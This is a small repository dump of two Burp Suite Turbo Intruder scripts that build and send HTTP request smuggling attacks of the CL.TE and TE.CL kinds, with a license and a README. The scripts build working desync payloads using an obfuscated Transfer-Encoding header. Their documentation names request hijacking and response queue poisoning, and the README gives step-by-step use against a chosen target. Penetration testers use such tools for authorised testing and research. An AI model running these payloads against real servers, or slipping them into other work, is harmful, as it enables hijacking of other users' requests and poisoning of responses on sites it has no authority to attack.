[
  {
    "path": "DesyncAttack_CLTE.py",
    "content": "# Copyright 2020 Evan Custodio\r\n#\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software \r\n# and associated documentation files (the \"Software\"), to deal in the Software without restriction,\r\n# including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\r\n# and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,\r\n# subject to the following conditions:\r\n#\r\n# The above copyright notice and this permission notice shall be included in all copies or \r\n# substantial portions of the Software.\r\n#\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED \r\n# TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \r\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF \r\n# CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \r\n# DEALINGS IN THE SOFTWARE.\r\n#\r\n# Turbo Intruder Python Script\r\n# For HTTP Request Smuggling CLTE Attacks\r\n#\r\n# Author: @defparam\r\n#\r\n# Documentation:\r\n#\r\n#    Server:                IP address/dns name of the web server you want to connect to, http/https 80/443 supported.\r\n#    attack_count:          The number of smuggle requests to issue.\r\n#    regular_count:         The number of innocuous requests to issue out after the smuggle requests.\r\n#    continuous:            Set to True if you want the attack request and regular requests to endlessly loop, False will break after first iteration.\r\n#    concurrentConnections: Request engine concurrent connection count.\r\n#    requestsPerConnection: Request engine requests per connection count.\r\n#\r\n#    SmuggleGadget:         Gadget used to induce CLTE desync on the asset.\r\n#    TheVerb:               The HTTP method used in the first level smuggle request.\r\n#    TheEP:                 The endpoint used in the first level smuggle request.\r\n#    TheProtocol:           The HTTP Protocol version used in the first level smuggle request.\r\n#    TheHost:               The hostname used in the host header of the first level smuggle request.\r\n#\r\n#    PrefixVerb:            The HTTP method used in the second level prefix request.\r\n#    PrefixEP:              The endpoint used in the second level prefix request.\r\n#    PrefixProtocol:        The HTTP Protocol version used in the second level prefix request.\r\n#    PrefixHost:            The hostname used in the host header of the second level prefix request (only if ChoppedHost is True or Chopped is False)\r\n#    Chopped(true):         If True the prefix request is chopped at a custom header and is incomplete. This is used for request hijacking.\r\n#    Chopped(false):        If False the prefix request is a fully formed HTTP request. This is used for response queue poisoning.\r\n#    ChoppedHost:           If True the chopped prefix will contain a host header specified by PrefixHost.\r\n#\r\n#    FilterOn(False):       If False all responses shall be posted in the turbo intruder window.\r\n#    FilterOn(True):        If True all NULL responses are omitted and all responses that match the Filters list shall be omitted.\r\n#    Filters(List):         This is a list of strings that are compared against responses, if responses contain these string they shall be omitted (if FilterOn == True)\r\n#    ShowTestResponse:      If True this debug feature allows the first response to appear unfiltered regardless if filtering is enabled\r\n\r\n# --------------------------- #\r\n# ----ATTACK PARAMETERS!----- #\r\n# --------------------------- #\r\nServer                = \"https://<example>.com:443\"\r\nattack_count          = 1\r\nregular_count         = 40\r\ncontinuous            = False\r\nconcurrentConnections = 10\r\nrequestsPerConnection = 1\r\n# --\r\n\r\n# -- Smuggle Request Parameters\r\nSmuggleGadget         = \"\\x01Transfer-Encoding: chunked\"\r\nTheVerb               = \"POST\"\r\nTheEP                 = \"/\"\r\nTheProtocol           = \"HTTP/1.1\"\r\nTheHost               = \"<example>.com\"\r\n# --\r\n\r\n# -- Prefix Request Parameters\r\nPrefixVerb            = \"GET\"\r\nPrefixEP              = \"/404\"\r\nPrefixProtocol        = \"HTTP/1.1\"\r\nPrefixHost            = \"<example>.com\"\r\nChopped               = True\r\nChoppedHost           = False\r\n# --\r\n\r\n# -- Response Filtering Parameters\r\nFilterOn              = True\r\nFilters               = [\"Content-Length: 1256\",\"HTTP/1.1 400 Bad Request\"]\r\nShowTestResponse      = False\r\n# --\r\n\r\n# --------------------------- #\r\n# --------------------------- #\r\n# --------------------------- #\r\n# --------------------------- #\r\n\r\n\r\n\r\n\r\n# ------------------------------------------------- #\r\n# If you make changes to the headers formats below\r\n# try not to break the parameterization.\r\n# ------------------------------------------------- #\r\ndef queueRequests(target, wordlists):\r\n\r\n    # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP\r\n    engine = RequestEngine(endpoint=Server,\r\n                           concurrentConnections=concurrentConnections,\r\n                           requestsPerConnection=requestsPerConnection,\r\n                           resumeSSL=False,\r\n                           timeout=1,\r\n                           pipeline=False,\r\n                           maxRetriesPerRequest=0,\r\n                           engine=Engine.THREADED,\r\n                           )\r\n    engine.start()\r\n    RN = \"\\r\\n\"\r\n    \r\n    # --------------------------- #\r\n    # --CHOPPED PREFIX REQUEST!-- #\r\n    # --------------------------- #\r\n    prefix_chopped  = (\"%s %s HTTP/1.1\" % (PrefixVerb, PrefixEP)) + RN\r\n    if (ChoppedHost): prefix_chopped += (\"Host: %s\" % (PrefixHost)) + RN\r\n    prefix_chopped += \"X: X\" # CHOP!\r\n    # --------------------------- #\r\n    \r\n    # --------------------------- #\r\n    # ----FULL PREFIX REQUEST!--- #\r\n    # --------------------------- #\r\n    prefix_full  = (\"%s %s %s\" % (PrefixVerb, PrefixEP, PrefixProtocol)) + RN\r\n    prefix_full += (\"Host: %s\" % (PrefixHost)) + RN\r\n    prefix_full += \"Connection: keep-alive\" + RN\r\n    prefix_full += \"Accept-Encoding: gzip, deflate\" + RN\r\n    prefix_full += \"Accept: */*\" + RN\r\n    prefix_full += \"Accept-Language: en\" + RN\r\n    prefix_full += \"Content-Type: application/x-www-form-urlencoded\" + RN\r\n    prefix_full += RN\r\n    # --------------------------- #\r\n    \r\n    # --------------------------- #\r\n    # ---CLTE SMUGGLE REQUEST!--- #\r\n    # --------------------------- #\r\n    smuggle  = (\"%s %s %s\" % (TheVerb, TheEP, TheProtocol)) + RN\r\n    smuggle += SmuggleGadget + RN                    # SMUGGLE GADGET!\r\n    smuggle += (\"Host: %s\" % (TheHost)) + RN\r\n    smuggle += \"Content-Length: 0\" + RN\r\n    smuggle += \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\" + RN\r\n    smuggle += \"Origin: https://www.google.com\" + RN \r\n    smuggle += \"Accept-Encoding: gzip, deflate\" + RN\r\n    smuggle += \"Content-Type: application/x-www-form-urlencoded\" + RN\r\n    smuggle += RN\r\n    smuggle += \"0\"\r\n    smuggle += RN\r\n    smuggle += RN\r\n    # --------------------------- #\r\n\r\n    # --------------------------- #\r\n    # -----REGULAR REQUEST!------ #\r\n    # --------------------------- #\r\n    regular  = \"GET / HTTP/1.1\" + RN\r\n    regular += (\"Host: %s\" % (TheHost)) + RN\r\n    regular += \"Origin: https://www.google.com\" + RN\r\n    regular += \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\" + RN\r\n    regular += RN\r\n    # --------------------------- #\r\n\r\n    # --------------------------- #\r\n    # -----ATTACK EXECUTOR!------ #\r\n    # --------------------------- #\r\n    if (Chopped):\r\n        attack  = smuggle + prefix_chopped\r\n    else:\r\n        attack  = smuggle + prefix_full\r\n    while(1):\r\n        for i in range(attack_count): engine.queue(attack)\r\n        for i in range(regular_count): engine.queue(regular)\r\n        if (not continuous): break\r\n    # --------------------------- #\r\n\r\n\r\n# --------------------------- #\r\n# ----RESPONSE FILTERING!---- #\r\n# --------------------------- #\r\ndef handleResponse(req, interesting):\r\n    global ShowTestResponse\r\n    if (FilterOn and not ShowTestResponse):\r\n        if len(req.response) == 4: \r\n            return\r\n        for filter in Filters:\r\n            if filter in req.response:\r\n                return\r\n    ShowTestResponse = False\r\n    table.add(req)\r\n    \r\n# --------------------------- #\r\n\r\n"
  },
  {
    "path": "DesyncAttack_TECL.py",
    "content": "# Copyright 2020 Evan Custodio\r\n#\r\n# Permission is hereby granted, free of charge, to any person obtaining a copy of this software \r\n# and associated documentation files (the \"Software\"), to deal in the Software without restriction,\r\n# including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense,\r\n# and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so,\r\n# subject to the following conditions:\r\n#\r\n# The above copyright notice and this permission notice shall be included in all copies or \r\n# substantial portions of the Software.\r\n#\r\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED \r\n# TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL \r\n# THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF \r\n# CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER \r\n# DEALINGS IN THE SOFTWARE.\r\n#\r\n# Turbo Intruder Python Script\r\n# For HTTP Request Smuggling TECL Attacks\r\n#\r\n# Author: @defparam\r\n#\r\n# Documentation:\r\n#\r\n#    Server:                IP address/dns name of the web server you want to connect to, http/https 80/443 supported.\r\n#    attack_count:          The number of smuggle requests to issue.\r\n#    regular_count:         The number of innocuous requests to issue out after the smuggle requests.\r\n#    continuous:            Set to True if you want the attack request and regular requests to endlessly loop, False will break after first iteration.\r\n#    concurrentConnections: Request engine concurrent connection count.\r\n#    requestsPerConnection: Request engine requests per connection count.\r\n#\r\n#    SmuggleGadget:         Gadget used to induce TECL desync on the asset.\r\n#    TheVerb:               The HTTP method used in the first level smuggle request.\r\n#    TheEP:                 The endpoint used in the first level smuggle request.\r\n#    TheProtocol:           The HTTP Protocol version used in the first level smuggle request.\r\n#    TheHost:               The hostname used in the host header of the first level smuggle request.\r\n#\r\n#    PrefixVerb:            The HTTP method used in the second level prefix request.\r\n#    PrefixEP:              The endpoint used in the second level prefix request.\r\n#    PrefixProtocol:        The HTTP Protocol version used in the second level prefix request.\r\n#    PrefixHost:            The hostname used in the host header of the second level prefix request.\r\n#    PrefixLength:          The Content-Length used in the second level prefix request.\r\n#\r\n#    FilterOn(False):       If False all responses shall be posted in the turbo intruder window.\r\n#    FilterOn(True):        If True all NULL responses are omitted and all responses that match the Filters list shall be omitted.\r\n#    Filters(List):         This is a list of strings that are compared against responses, if responses contain these string they shall be omitted (if FilterOn == True).\r\n#    ShowTestResponse:      If True this debug feature allows the first response to appear unfiltered regardless if filtering is enabled.\r\n\r\n# --------------------------- #\r\n# ----ATTACK PARAMETERS!----- #\r\n# --------------------------- #\r\nServer                = \"https://<example>.com:443\"\r\nattack_count          = 1\r\nregular_count         = 40\r\ncontinuous            = False\r\nconcurrentConnections = 10\r\nrequestsPerConnection = 1\r\n# --\r\n\r\n# -- Smuggle Request Parameters\r\nSmuggleGadget         = \"\\x01Transfer-Encoding: chunked\"\r\nTheVerb               = \"POST\"\r\nTheEP                 = \"/\"\r\nTheProtocol           = \"HTTP/1.1\"\r\nTheHost               = \"<example>.com\"\r\n# --\r\n\r\n# -- Prefix Request Parameters\r\nPrefixVerb            = \"GET\"\r\nPrefixEP              = \"/404\"\r\nPrefixProtocol        = \"HTTP/1.1\"\r\nPrefixHost            = \"<example>.com\"\r\nPrefixLength          = \"300\"\r\n# --\r\n\r\n# -- Response Filtering Parameters\r\nFilterOn              = True\r\nFilters               = [\"Content-Length: 1256\",\"HTTP/1.1 400 Bad Request\"]\r\nShowTestResponse      = False\r\n# --\r\n\r\n# --------------------------- #\r\n# --------------------------- #\r\n# --------------------------- #\r\n# --------------------------- #\r\n\r\n\r\n\r\n\r\n# ------------------------------------------------- #\r\n# If you make changes to the headers formats below\r\n# try not to break the parameterization.\r\n# ------------------------------------------------- #\r\ndef queueRequests(target, wordlists):\r\n\r\n    # to use Burp's HTTP stack for upstream proxy rules etc, use engine=Engine.BURP\r\n    engine = RequestEngine(endpoint=Server,\r\n                           concurrentConnections=concurrentConnections,\r\n                           requestsPerConnection=requestsPerConnection,\r\n                           resumeSSL=False,\r\n                           timeout=1,\r\n                           pipeline=False,\r\n                           maxRetriesPerRequest=0,\r\n                           engine=Engine.THREADED,\r\n                           )\r\n    engine.start()\r\n    RN = \"\\r\\n\"\r\n    \r\n    # --------------------------- #\r\n    # ----FULL PREFIX REQUEST!--- #\r\n    # --------------------------- #\r\n    prefix  = (\"%s %s %s\" % (PrefixVerb, PrefixEP, PrefixProtocol)) + RN\r\n    prefix += (\"Host: %s\" % (PrefixHost)) + RN\r\n    prefix += \"Connection: keep-alive\" + RN\r\n    prefix += \"Accept-Encoding: gzip, deflate\" + RN\r\n    prefix += \"Accept: */*\" + RN\r\n    prefix += \"Accept-Language: en\" + RN\r\n    prefix += \"Content-Type: application/x-www-form-urlencoded\" + RN\r\n    prefix += (\"Content-Length: %s\" % (PrefixLength)) + RN\r\n    prefix += RN\r\n    prefix += \"x=1\"\r\n    # --------------------------- #\r\n    \r\n    # --------------------------- #\r\n    # ---TECL SMUGGLE REQUEST!--- #\r\n    # --------------------------- #\r\n    sz = hex(len(prefix))[2:]\r\n    smuggle  = (\"%s %s %s\" % (TheVerb, TheEP, TheProtocol)) + RN\r\n    smuggle += SmuggleGadget + RN                    # SMUGGLE GADGET!\r\n    smuggle += (\"Host: %s\" % (TheHost)) + RN\r\n    smuggle += (\"Content-length: %s\" % (str(2+len(sz)))) + RN\r\n    smuggle += \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\" + RN\r\n    smuggle += \"Origin: https://www.google.com\" + RN \r\n    smuggle += \"Accept-Encoding: gzip, deflate\" + RN\r\n    smuggle += \"Content-Type: application/x-www-form-urlencoded\" + RN\r\n    smuggle += RN + (\"%s\"%(sz)) + RN\r\n    smuggle += prefix + RN + \"0\" + RN + RN\r\n    # --------------------------- #\r\n\r\n    # --------------------------- #\r\n    # -----REGULAR REQUEST!------ #\r\n    # --------------------------- #\r\n    regular  = \"GET / HTTP/1.1\" + RN\r\n    regular += (\"Host: %s\" % (TheHost)) + RN\r\n    regular += \"Origin: https://www.google.com\" + RN\r\n    regular += \"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36\" + RN\r\n    regular += RN\r\n    # --------------------------- #\r\n\r\n    # --------------------------- #\r\n    # -----ATTACK EXECUTOR!------ #\r\n    # --------------------------- #\r\n    attack  = smuggle\r\n    while(1):\r\n        for i in range(attack_count): engine.queue(attack)\r\n        for i in range(regular_count): engine.queue(regular)\r\n        if (not continuous): break\r\n    # --------------------------- #\r\n\r\n\r\n# --------------------------- #\r\n# ----RESPONSE FILTERING!---- #\r\n# --------------------------- #\r\ndef handleResponse(req, interesting):\r\n    global ShowTestResponse\r\n    if (FilterOn and not ShowTestResponse):\r\n        if len(req.response) == 4: \r\n            return\r\n        for filter in Filters:\r\n            if filter in req.response:\r\n                return\r\n    ShowTestResponse = False\r\n    table.add(req)\r\n    \r\n# --------------------------- #\r\n\r\n"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2020 Evan Custodio\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "# Turbo Intruder Scripts\nThis is just a repo where I keep my own personal Turbo Intruder helper scripts.\n\n# DesyncAttack_CLTE.py and DesyncAttack_TECL.py\nThese scripts I use to create Request Smuggling Desync payloads for CLTE and TECL style attacks.\nHow to use:\n1) Open Burp\n2) Open a Repeater tab to your target\n3) Right click your request and \"Send to Turbo Intruder\"\n4) Completely replace the script pane (bottom pane) with DesyncAttack_CLTE.py or DesyncAttack_TECL.py\n5) The top (request) pane is not needed and ignored, the script creates its own requests\n6) Fill out all the attack parameters for the attack (documentation inside the script)\n7) Click \"Attack\"\n\n# License\nThese scripts are released under the MIT license. See [LICENSE](https://github.com/defparam/tiscripts/blob/master/LICENSE).\n"
  }
]